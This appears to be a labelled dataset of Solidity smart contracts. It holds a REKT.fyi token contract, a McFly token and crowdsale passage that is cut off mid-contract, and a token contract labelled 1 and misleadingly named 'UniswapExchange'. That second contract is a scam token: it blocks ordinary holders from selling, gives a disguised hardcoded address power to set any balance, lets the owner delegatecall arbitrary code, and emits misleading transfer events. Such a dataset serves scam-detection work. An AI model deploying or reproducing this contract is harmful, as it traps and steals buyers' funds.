uint public bumpBasePrice = 10000000000000000;
uint public holdTimeCeiling = 3628800;
address public medianizerAddress;
Medianizer oracle;
bool public isMCD = false;
uint public MCDswitchTimestamp = 0;
address public saiAddress;
address public daiAddress;
Dai dai;
Dai sai;
constructor(address _medianizerAddress, address _saiAddress) public {
medianizerAddress = _medianizerAddress;
oracle = Medianizer(medianizerAddress);
saiAddress = _saiAddress;
dai = Dai(saiAddress);
sai = dai;
}
string public constant name = "REKT.fyi";
string public constant symbol = "REKT";
uint8 public constant decimals = 0;
uint public constant WAD = 1000000000000000000;
uint public constant PRECISION = 100000000000000;
uint public constant MULTIPLIER_FLOOR = 1000000000000000000;
uint public constant MULTIPLIER_CEILING = 10000000000000000000;
uint public constant BONUS_FLOOR = 1250000000000000000;
uint public constant BONUS_CEILING = 1800000000000000000;
uint public constant BOUNTY_BONUS_MINIMUM = 5000000000000000000;
uint public constant HOLD_SCORE_CEILING = 1000000000000000000000000000;
uint public constant BUMP_INCREMENT = 100000000000000000;
uint public constant HOLD_TIME_MAX = 23670000;
uint public constant BUMP_PRICE_MAX = 100000000000000000;
event LogVaultDeposit(address indexed addr, string indexed potType, uint value);
event LogWithdraw(address indexed to, uint eth, uint sai, uint dai);
event Transfer(address indexed from, address indexed to, uint tokens);
event LogBump(uint indexed from, uint indexed to, uint cost, address indexed by);
event LogBurn(
address indexed sender,
address indexed receiver,
uint receivedAt,
uint multiplier,
uint initialETH,
uint etherPrice,
uint bountyETH,
uint bountyDAI,
uint reward
);
event LogGive(address indexed sender, address indexed receiver);
modifier shutdownNotActive() {
require(shutdown == false, "shutdown activated");
_;
}
modifier giveRequirementsMet(address _to) {
require(address(_to) != address(0), "Invalid address");
require(_to != msg.sender, "Cannot give to yourself");
require(balanceOf(_to) == 0, "Receiver already has a token");
require(_to.balance > 0, "Receiver wallet must not be empty");
_;
}
function give(address _to) external payable shutdownNotActive giveRequirementsMet(_to) {
if (msg.value > 0) {
unredeemedBounty[msg.sender].ETH = unredeemedBounty[msg.sender].ETH.add(msg.value);
bountyPot.ETH = bountyPot.ETH.add(msg.value);
}
receiver[_to] = Receiver(_to.balance, msg.value, 0, now, getPrice(), msg.sender);
giveCommon(_to);
}
function giveWithDAI(address _to, uint _amount) external shutdownNotActive giveRequirementsMet(_to) {
if (_amount > 0) {
require(MCDswitchTimestamp != now, "Cannot send DAI during the switching block");
require(dai.transferFrom(msg.sender, address(this), _amount), "DAI transfer failed");
unredeemedBounty[msg.sender].DAI = unredeemedBounty[msg.sender].DAI.add(_amount);
bountyPot.DAI = bountyPot.DAI.add(_amount);
}
receiver[_to] = Receiver(_to.balance, 0, _amount, now, getPrice(), msg.sender);
giveCommon(_to);
}
function bump(bool _up) external payable shutdownNotActive {
require(msg.value > 0, "Ether required");
uint initialMultiplier = multiplier;
uint bumpAmount = msg.value
.wdiv(bumpBasePrice)
.wmul(getBonusMultiplier(msg.sender))
.wmul(BUMP_INCREMENT);
if (_up) {
if (multiplier.add(bumpAmount) >= MULTIPLIER_CEILING) {
multiplier = MULTIPLIER_CEILING;
} else {
multiplier = multiplier.add(roundBumpAmount(bumpAmount));
}
}
else {
if (multiplier > bumpAmount) {
if (multiplier.sub(bumpAmount) <= MULTIPLIER_FLOOR) {
multiplier = MULTIPLIER_FLOOR;
} else {
multiplier = multiplier.sub(roundBumpAmount(bumpAmount));
}
}
else {
multiplier = MULTIPLIER_FLOOR;
}
}
emit LogBump(initialMultiplier, multiplier, msg.value, msg.sender);
feePot = feePot.add(msg.value);
}
function burn(address _receiver) external {
require(balanceOf(_receiver) == 1, "Nothing to burn");
address sender = receiver[_receiver].sender;
require(
msg.sender == _receiver ||
msg.sender == sender ||
(_receiver == address(this) && msg.sender == owner),
"Must be token sender or receiver, or must be the owner burning REKT sent to the contract"
);
if (!shutdown) {
if (receiver[_receiver].walletBalance.wmul(multiplier) > _receiver.balance) {
uint balanceValueThen = receiver[_receiver].walletBalance.wmul(receiver[_receiver].etherPrice);
uint balanceValueNow = _receiver.balance.wmul(getPrice());
if (balanceValueThen.wmul(multiplier) > balanceValueNow) {
revert("Not enough gains");
}
}
}
balance[_receiver] = 0;
totalSupply --;
emit Transfer(_receiver, address(0), 1);
uint feeReward = distributeBurnRewards(_receiver, sender);
emit LogBurn(
sender,
_receiver,
receiver[_receiver].timestamp,
multiplier,
receiver[_receiver].walletBalance,
receiver[_receiver].etherPrice,
receiver[_receiver].bountyETH,
receiver[_receiver].bountyDAI,
feeReward);
}
function withdraw(address payable _addr) external {
require(_addr != address(this), "This contract cannot withdraw to itself");
withdrawCommon(_addr, _addr);
}
function withdrawSelf(address payable _destination) external onlyOwner {
withdrawCommon(_destination, address(this));
}
function setNewMedianizer(address _addr) external onlyOwner {
require(address(_addr) != address(0), "Invalid address");
medianizerAddress = _addr;
oracle = Medianizer(medianizerAddress);
bytes32 price;
bool ok;
(price, ok) = oracle.peek();
require(ok, "Pricefeed error");
}
function setMCD(address _addr) external onlyOwner {
require(!isMCD, "MCD has already been set");
require(address(_addr) != address(0), "Invalid address");
daiAddress = _addr;
dai = Dai(daiAddress);
isMCD = true;
MCDswitchTimestamp = now;
}
function setBumpPrice(uint _amount) external onlyOwner {
require(_amount > 0 && _amount <= BUMP_PRICE_MAX, "Price must not be higher than BUMP_PRICE_MAX");
bumpBasePrice = _amount;
}
function setHoldTimeCeiling(uint _seconds) external onlyOwner {
require(_seconds > 0 && _seconds <= HOLD_TIME_MAX, "Hold time must not be higher than HOLD_TIME_MAX");
holdTimeCeiling = _seconds;
}
function setShutdown() external onlyOwner {
shutdown = true;
}
function calculateBountyProportion(uint _bounty) public view returns (uint) {
return _bounty.rdiv(potValue(bountyPot.DAI, bountyPot.ETH));
}
function calculateHoldScore(uint _receivedAtTime) public view returns (uint) {
if (now == _receivedAtTime)
{
return 0;
}
uint timeDiff = now.sub(_receivedAtTime);
uint holdScore = timeDiff.rdiv(holdTimeCeiling);
if (holdScore > HOLD_SCORE_CEILING) {
holdScore = HOLD_SCORE_CEILING;
}
return holdScore;
}
function balanceOf(address _receiver) public view returns (uint) {
return balance[_receiver];
}
function potValue(uint _dai, uint _eth) public view returns (uint) {
return _dai.add(_eth.wmul(getPrice()));
}
function getBonusMultiplier(address _sender) public view returns (uint) {
uint bounty = potValue(unredeemedBounty[_sender].DAI, unredeemedBounty[_sender].ETH);
uint bonus = WAD;
if (bounty >= BOUNTY_BONUS_MINIMUM) {
bonus = bounty.wdiv(potValue(bountyPot.DAI, bountyPot.ETH)).add(BONUS_FLOOR);
if (bonus > BONUS_CEILING) {
bonus = BONUS_CEILING;
}
}
return bonus;
}
function getRecipients(address _sender) public view returns (address[] memory) {
return recipients[_sender];
}
function getPrice() public view returns (uint) {
bytes32 price;
bool ok;
(price, ok) = oracle.peek();
require(ok, "Pricefeed error");
return uint(price);
}
function giveCommon(address _to) private {
balance[_to] = 1;
recipients[msg.sender].push(_to);
totalSupply ++;
emit Transfer(address(0), msg.sender, 1);
emit Transfer(msg.sender, _to, 1);
emit LogGive(msg.sender, _to);
}
function distributeBurnRewards(address _receiver, address _sender) private returns (uint feeReward) {
feeReward = 0;
uint bountyETH = receiver[_receiver].bountyETH;
uint bountyDAI = receiver[_receiver].bountyDAI;
uint bountyTotal = potValue(bountyDAI, bountyETH);
if (bountyTotal > 0 ) {
uint bountyProportion = calculateBountyProportion(bountyTotal);
uint userRewardPot = bountyProportion.rmul(feePot);
if (shutdown) {
feeReward = userRewardPot;
} else {
uint holdScore = calculateHoldScore(receiver[_receiver].timestamp);
feeReward = userRewardPot.rmul(holdScore);
}
if (bountyETH > 0) {
unredeemedBounty[_sender].ETH = unredeemedBounty[_sender].ETH.sub(bountyETH);
bountyPot.ETH = bountyPot.ETH.sub(bountyETH);
vault[_receiver].bountyETH = vault[_receiver].bountyETH.add(bountyETH);
emit LogVaultDeposit(_receiver, 'bountyETH', bountyETH);
} else if (bountyDAI > 0) {
unredeemedBounty[_sender].DAI = unredeemedBounty[_sender].DAI.sub(bountyDAI);
bountyPot.DAI = bountyPot.DAI.sub(bountyDAI);
if (isMCD && receiver[_receiver].timestamp > MCDswitchTimestamp) {
vault[_receiver].bountyDAI = vault[_receiver].bountyDAI.add(bountyDAI);
} else {
vault[_receiver].bountySAI = vault[_receiver].bountySAI.add(bountyDAI);
}
emit LogVaultDeposit(_receiver, 'bountyDAI', bountyDAI);
}
if (feeReward > 0) {
feeReward = feeReward / 2;
feePot = feePot.sub(feeReward);
vault[_receiver].fee = vault[_receiver].fee.add(feeReward);
emit LogVaultDeposit(_receiver, 'reward', feeReward);
feePot = feePot.sub(feeReward);
vault[_sender].fee = vault[_sender].fee.add(feeReward);
emit LogVaultDeposit(_sender, 'reward', feeReward);
}
}
return feeReward;
}
function roundBumpAmount(uint _amount) private pure returns (uint rounded) {
require(_amount >= PRECISION, "bump size too small to round");
return (_amount / PRECISION).mul(PRECISION);
}
function withdrawCommon(address payable _destination, address _vaultOwner) private {
require(address(_destination) != address(0), "Invalid address");
uint amountETH = vault[_vaultOwner].fee.add(vault[_vaultOwner].bountyETH);
uint amountDAI = vault[_vaultOwner].bountyDAI;
uint amountSAI = vault[_vaultOwner].bountySAI;
vault[_vaultOwner] = Vault(0,0,0,0);
emit LogWithdraw(_destination, amountETH, amountSAI, amountDAI);
if (amountDAI > 0) {
require(dai.transferFrom(address(this), _destination, amountDAI), "DAI transfer failed");
}
if (amountSAI > 0) {
require(sai.transferFrom(address(this), _destination, amountSAI), "SAI transfer failed");
}
if (amountETH > 0) {
_destination.transfer(amountETH);
}
}
} | 0 | 841 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,990 |
pragma solidity ^0.4.19;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
address public candidate;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function requestOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
candidate = newOwner;
}
function confirmOwnership() public {
require(candidate == msg.sender);
owner = candidate;
OwnershipTransferred(owner, candidate);
}
}
contract MultiOwners {
event AccessGrant(address indexed owner);
event AccessRevoke(address indexed owner);
mapping(address => bool) owners;
address public publisher;
function MultiOwners() public {
owners[msg.sender] = true;
publisher = msg.sender;
}
modifier onlyOwner() {
require(owners[msg.sender] == true);
_;
}
function isOwner() constant public returns (bool) {
return owners[msg.sender] ? true : false;
}
function checkOwner(address maybe_owner) constant public returns (bool) {
return owners[maybe_owner] ? true : false;
}
function grant(address _owner) onlyOwner public {
owners[_owner] = true;
AccessGrant(_owner);
}
function revoke(address _owner) onlyOwner public {
require(_owner != publisher);
require(msg.sender != _owner);
owners[_owner] = false;
AccessRevoke(_owner);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract McFlyToken is MintableToken {
string public constant name = "McFlyToken";
string public constant symbol = "McFLY";
uint8 public constant decimals = 18;
mapping(address=>bool) whitelist;
event AllowTransfer(address from);
modifier canTransfer() {
require(mintingFinished || whitelist[msg.sender]);
_;
}
function allowTransfer(address from) onlyOwner public {
whitelist[from] = true;
AllowTransfer(from);
}
function transferFrom(address from, address to, uint256 value) canTransfer public returns (bool) {
return super.transferFrom(from, to, value);
}
function transfer(address to, uint256 value) canTransfer public returns (bool) {
return super.transfer(to, value);
}
}
contract Haltable is MultiOwners {
bool public halted;
modifier stopInEmergency {
require(!halted);
_;
}
modifier onlyInEmergency {
require(halted);
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract McFlyCrowd is MultiOwners, Haltable {
using SafeMath for uint256;
uint256 public counter_in;
uint256 public minETHin = 1e18;
McFlyToken public token;
address public wallet;
uint256 public sT2;
uint256 constant dTLP2 = 118 days;
uint256 constant dBt = 60 days;
uint256 constant dW = 12 days;
uint256 public constant hardCapInTokens = 1800e24;
uint256 public constant mintCapInTokens = 1260e24;
uint256 public crowdTokensTLP2;
uint256 public _preMcFly;
uint256 constant fundTokens = 270e24;
uint256 public fundTotalSupply;
address public fundMintingAgent;
uint256 constant wavesTokens = 100e24;
address public wavesAgent;
address public wavesGW;
uint256 constant VestingPeriodInSeconds = 30 days;
uint256 constant VestingPeriodsCount = 24;
uint256 constant _teamTokens = 180e24;
uint256 public teamTotalSupply;
address public teamWallet;
uint256 constant _bountyOnlineTokens = 36e24;
address public bountyOnlineWallet;
address public bountyOnlineGW;
uint256 constant _bountyOfflineTokens = 54e24;
address public bountyOfflineWallet;
uint256 constant _advisoryTokens = 90e24;
uint256 public advisoryTotalSupply;
address public advisoryWallet;
uint256 constant _reservedTokens = 162e24;
uint256 public reservedTotalSupply;
address public reservedWallet;
uint256 constant _airdropTokens = 18e24;
address public airdropWallet;
address public airdropGW;
address public preMcFlyWallet;
struct Ppl {
address addr;
uint256 amount;
}
mapping (uint32 => Ppl) public ppls;
struct Window {
bool active;
uint256 totalEthInWindow;
uint32 totalTransCnt;
uint32 refundIndex;
uint256 tokenPerWindow;
}
mapping (uint8 => Window) public ww;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenPurchaseInWindow(address indexed beneficiary, uint256 value, uint8 winnum, uint32 totalcnt, uint256 totaleth1);
event TransferOddEther(address indexed beneficiary, uint256 value);
event FundMinting(address indexed beneficiary, uint256 value);
event WithdrawVesting(address indexed beneficiary, uint256 period, uint256 value, uint256 valueTotal);
event TokenWithdrawAtWindow(address indexed beneficiary, uint256 value);
event SetFundMintingAgent(address newAgent);
event SetTeamWallet(address newTeamWallet);
event SetAdvisoryWallet(address newAdvisoryWallet);
event SetReservedWallet(address newReservedWallet);
event SetStartTimeTLP2(uint256 newStartTimeTLP2);
event SetMinETHincome(uint256 newMinETHin);
event NewWindow(uint8 winNum, uint256 amountTokensPerWin);
event TokenETH(uint256 totalEth, uint32 totalCnt);
modifier validPurchase() {
require(msg.value != 0);
_;
}
function McFlyCrowd(
uint256 _startTimeTLP2,
uint256 _preMcFlyTotalSupply,
address _wallet,
address _wavesAgent,
address _wavesGW,
address _fundMintingAgent,
address _teamWallet,
address _bountyOnlineWallet,
address _bountyOnlineGW,
address _bountyOfflineWallet,
address _advisoryWallet,
address _reservedWallet,
address _airdropWallet,
address _airdropGW,
address _preMcFlyWallet
) public
{
require(_startTimeTLP2 >= block.timestamp);
require(_preMcFlyTotalSupply > 0);
require(_wallet != 0x0);
require(_wavesAgent != 0x0);
require(_wavesGW != 0x0);
require(_fundMintingAgent != 0x0);
require(_teamWallet != 0x0);
require(_bountyOnlineWallet != 0x0);
require(_bountyOnlineGW != 0x0);
require(_bountyOfflineWallet != 0x0);
require(_advisoryWallet != 0x0);
require(_reservedWallet != 0x0);
require(_airdropWallet != 0x0);
require(_airdropGW != 0x0);
require(_preMcFlyWallet != 0x0);
token = new McFlyToken();
wallet = _wallet;
sT2 = _startTimeTLP2;
wavesAgent = _wavesAgent;
wavesGW = _wavesGW;
fundMintingAgent = _fundMintingAgent;
teamWallet = _teamWallet;
bountyOnlineWallet = _bountyOnlineWallet;
bountyOnlineGW = _bountyOnlineGW;
bountyOfflineWallet = _bountyOfflineWallet;
advisoryWallet = _advisoryWallet;
reservedWallet = _reservedWallet;
airdropWallet = _airdropWallet;
airdropGW = _airdropGW;
preMcFlyWallet = _preMcFlyWallet;
_preMcFly = _preMcFlyTotalSupply;
token.mint(preMcFlyWallet, _preMcFly);
token.allowTransfer(preMcFlyWallet);
crowdTokensTLP2 = crowdTokensTLP2.add(_preMcFly);
token.mint(wavesAgent, wavesTokens);
token.allowTransfer(wavesAgent);
token.allowTransfer(wavesGW);
crowdTokensTLP2 = crowdTokensTLP2.add(wavesTokens);
token.mint(this, _teamTokens);
token.mint(bountyOnlineWallet, _bountyOnlineTokens);
token.allowTransfer(bountyOnlineWallet);
token.allowTransfer(bountyOnlineGW);
token.mint(bountyOfflineWallet, _bountyOfflineTokens);
token.allowTransfer(bountyOfflineWallet);
token.mint(this, _advisoryTokens);
token.mint(this, _reservedTokens);
token.mint(airdropWallet, _airdropTokens);
token.allowTransfer(airdropWallet);
token.allowTransfer(airdropGW);
}
function withinPeriod() constant public returns (bool) {
return (now >= sT2 && now <= (sT2+dTLP2));
}
function running() constant public returns (bool) {
return withinPeriod() && !token.mintingFinished();
}
function stageName() constant public returns (uint8) {
uint256 eT2 = sT2+dTLP2;
if (now < sT2) {return 101;}
if (now >= sT2 && now <= eT2) {return (102);}
if (now > eT2 && now < eT2+dBt) {return (103);}
if (now >= (eT2+dBt) && now <= (eT2+dBt+dW)) {return (0);}
if (now > (eT2+dBt+dW) && now < (eT2+dBt+dW+dBt)) {return (104);}
if (now >= (eT2+dBt+dW+dBt) && now <= (eT2+dBt+dW+dBt+dW)) {return (1);}
if (now > (eT2+dBt+dW+dBt+dW) && now < (eT2+dBt+dW+dBt+dW+dBt)) {return (105);}
if (now >= (eT2+dBt+dW+dBt+dW+dBt) && now <= (eT2+dBt+dW+dBt+dW+dBt+dW)) {return (2);}
if (now > (eT2+dBt+dW+dBt+dW+dBt+dW) && now < (eT2+dBt+dW+dBt+dW+dBt+dW+dBt)) {return (106);}
if (now >= (eT2+dBt+dW+dBt+dW+dBt+dW+dBt) && now <= (eT2+dBt+dW+dBt+dW+dBt+dW+dBt+dW)) {return (3);}
if (now > (eT2+dBt+dW+dBt+dW+dBt+dW+dBt+dW) && now < (eT2+dBt+dW+dBt+dW+dBt+dW+dBt+dW+dBt)) {return (107);}
if (now >= (eT2+dBt+dW+dBt+dW+dBt+dW+dBt+dW+dBt) && now <= (eT2+dBt+dW+dBt+dW+dBt+dW+dBt+dW+dBt+dW)) {return (4);}
if (now > (eT2+dBt+dW+dBt+dW+dBt+dW+dBt+dW+dBt+dW)) {return (200);}
return (201);
}
function setFundMintingAgent(address agent) onlyOwner public {
fundMintingAgent = agent;
SetFundMintingAgent(agent);
}
function setTeamWallet(address _newTeamWallet) onlyOwner public {
teamWallet = _newTeamWallet;
SetTeamWallet(_newTeamWallet);
}
function setAdvisoryWallet(address _newAdvisoryWallet) onlyOwner public {
advisoryWallet = _newAdvisoryWallet;
SetAdvisoryWallet(_newAdvisoryWallet);
}
function setReservedWallet(address _newReservedWallet) onlyOwner public {
reservedWallet = _newReservedWallet;
SetReservedWallet(_newReservedWallet);
}
function setMinETHin(uint256 _minETHin) onlyOwner public {
minETHin = _minETHin;
SetMinETHincome(_minETHin);
}
